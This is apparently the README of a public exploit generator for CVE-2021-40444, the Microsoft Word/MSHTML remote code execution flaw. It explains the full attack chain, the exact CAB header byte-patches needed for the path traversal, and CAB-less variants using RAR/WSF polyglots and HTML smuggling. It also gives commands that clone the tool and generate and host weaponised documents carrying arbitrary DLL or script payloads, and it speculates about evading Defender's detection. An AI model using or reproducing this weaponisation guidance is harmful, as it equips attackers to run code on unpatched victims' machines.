Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution), works with arbitrary DLL files.
Although many PoC are already around the internet, I guessed to give myself a run to weaponizing this vulnerability, as what I found available lacked valuable information that it's worth sharing, also considering Microsoft already released a patch for this vulnerability.
So far, the only valuable resources I've seen to create a fully working generator are:
The above resources outline a lot of the requirements needed to create a full chain. To avoid repeating too much unnecessary information, I'll just summarize the relevant details.
- Docx opened
- Relationship stored in document.xml.rels points to malicious html
- IE preview is launched to open the HTML link
- JScript within the HTML contains an object pointing to a CAB file, and an iframe pointing to an INF file, prefixed with the ".cpl:" directive
- The cab file is opened, the INF file stored in the %TEMP%\Low directory
- Due to a Path traversal (ZipSlip) vulnerability in the CAB, it's possible to store the INF in %TEMP%
- Then, the INF file is opened with the ".cpl:" directive, causing the side-loading of the INF file via rundll32 (if this is a DLL)
There are quite a bit of overlooked requirements for this exploit to work, which caused even good PoCs, like the one by lockedbyte, to fail working properly.
Maybe nobody explicitly "released" them to avoid the vulnerability to be exploited more. But now it's patched, so it should not cause a lot of troubles to release the details.
As for this tweet by Will Dormann, the HTML should be at least 4096 bytes in size in order to trigger the "Preview" within MS Word.
The CAB file needs to be byte-patched to avoid extraction errors and to achieve the ZipSlip:
filename.inf
should become../filename.inf
filename.inf
should be exactly <12-char>.infNot really true, the important bit is to modifycoffCabStart
CFFOLDER.typeCompress
should be 0 (not compressed)CFFOLDER.coffCabStart
should be increased by 3 (due to the added '../'')CFFOLDER.cCfData
should be 2CFFILE.cbFile
should be greater than the wholeCFHEADER.cbCabinet
CFDATA.csum
should be recalculated (or zeroed out)[OPTIONAL]
The reason for these constraints are many, and I didn't spend enough time to deeply understand all of them, but let's see the most important:
- TypeCompress:
If the CAB is compressed, the trick to open it within an object file to trigger the INF write will failFalse, I managed to achieve the same result with a MSZIP compressed sample - CoffCabStart: CoffCabStart gives the absolute position of the first CFDATA structure, as we added a '../', we would need to increase this by 3 to point to the file (this is more like a guess)
- cCfData:
As there is only 1 file, we should have just 1 CFDATA, I'm not too sure why this has to be set to 2Indeed, we can leave it as 1 - cbFile: Interestingly, if the CAB extraction concludes without any error, the INF file will be marked for deletion by WORD, ruining the exploit. The only way to prevent this is to make WORD believe the extraction failed. If the cbFile value is defined as greater than the cabinet file itself, the extractor will reach an EOF before reading all the bytes defined in cbFile, raising an extraction error.
- [OPTIONAL] This value seems to not be checked by MS Word. Anyway, to have a correct CAB, the csum value should be recalculated. Luckily, as noted by j00sean and according to MS documentation, this value can be 0
NOTE1: Defender now detects if the CAB file contains a PE by using the _IMAGE_DOS_HEADER.e_magic
value as a
signature, potentially avoiding PE files to be embedded in the CAB. Can this signature be bypassed?
I'm not sure but, as observed before, this is a patched vulnerability, so I'm not planning to invest much more time
on this. Up to the curious reader to develop this further.
NOTE2: Microsoft Patch blocks arbitrary URI schemes, apparently using a blacklist approach (this is just a supposition)
The main attack chain associated with CVE-2021-40444 is the DLL attack loaded via the .cpl
URI scheme. In order to
exploit that, an attacker needs to generate a specially crafted DLL. If you want to test it out, try my evildll-gen
script.
As noted by Max Maluin, it is possible to interact with several filetypes abusing IE and the associated file extension based URI. While this is might be a good way to exploit IE, it has limitations.
Indeed, it should be noted that the method used in the exploit to download files is based on ActiveX control updates,
and cannot be used to download arbitrary files.
As per Microsoft documentation, the codebase
tag
can point just to a few filetypes: OCX, INF and CAB.
Even if we can directly download an OCX or INF file, we still can't be sure to download the file in the right location
within the system. With the cab exploit, it is possible to move the .inf
file in a well-known path using the path traversal,
but in any other case the file will be stored in a random directory, making it virtually impossible to reference it.
As of today, I didn't find a way to chain download and execution WITHOUT a CAB file.
Note: Talking about IE alone, HTML smuggling could be a possible scenario to exploit the vulnerability.
This technique was firstly disclosed by Eduardo Braun on Twitter and further explained in this paper.
Please note that using this technique, the attack chain is a bit different. This attack requires the user to download a specially crafted RAR file, obtained by chaining a valid WSF script and a valid RAR file. Once opened, the RAR will contain a DOCX with a reference to an HTML, which in turn will try to load the RAR file as a WSF script.
To summarise:
- Specially crafted RAR file is downloaded (likely Download folder)
- DOCX extracted and opened
- Relationship stored in document.xml.rels points to malicious html
- IE preview is launched to open the HTML link
- JScript within the HTML contains a script/iframe pointing to the RAR file, prefixed with the ".wsf:" URI scheme
- As the RAR was designed to be contemporaneously a valid RAR and a valid WSF script, the script is executed
The generator utility can currently reproduce the following attacks:
Attack | HTML Templates | Target | Delivery Method | Execution Method | Working |
---|---|---|---|---|---|
Original version of the attack | cab-orig-* | WORD | DOCX | CAB + DLL | YES |
j00sean IE-only attack | cab-orig-j00san | IE | HTML | CAB + DLL | YES |
My version without DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 |
Eduardo B. "CABless" attack using RAR | cabless-rar-* | WORD | RAR | WSF | YES |
Modified j00sean attack + HTML smuggling | cabless-smuggling-* | IE | HTML | JS/VBS | YES2 |
1The CAB is not downloaded properly in some environments
2The user needs to click on "Save" to download the file on IE
The utility cab_parser.py
can be used to see the headers of the exploit file, but don't consider this a full
parser. It's a very quick and dirty CAB header viewer I developed to understand what was going on.
The generator is designed to work on Windows, as it uses the makecab
utility. Before usage, be sure to install required dependencies:
- With Virtualenv
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
- Without Virtualenv
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
The generator is trivial to use, and even if it has been tested with a number of different payloads and Windows versions, it is not fail-proof. I'm encountering different behaviours across different Windows builds. As soon as I have more details to share, I'll post them here.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
- Generate the original exploit and test it locally
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
Note: the port is selected by the URL, and the exploit is generated basing on the payload file extension
- Generate the CABless exploit with RAR and test it locally via IE
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
- Generate the CABless exploit (IE-only) with HTML smuggling and test it locally via IE
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
- RET2_pwn for the amazing blog
- j00sean for the good hints
- lockedbyte for the first decent poc
- Max_Mal for the hint on the alternate URI schemes
- wdormann for the hint on the HTML file size restrictions
- Edu_Braun_0day for the cool CAB-less version of the exploit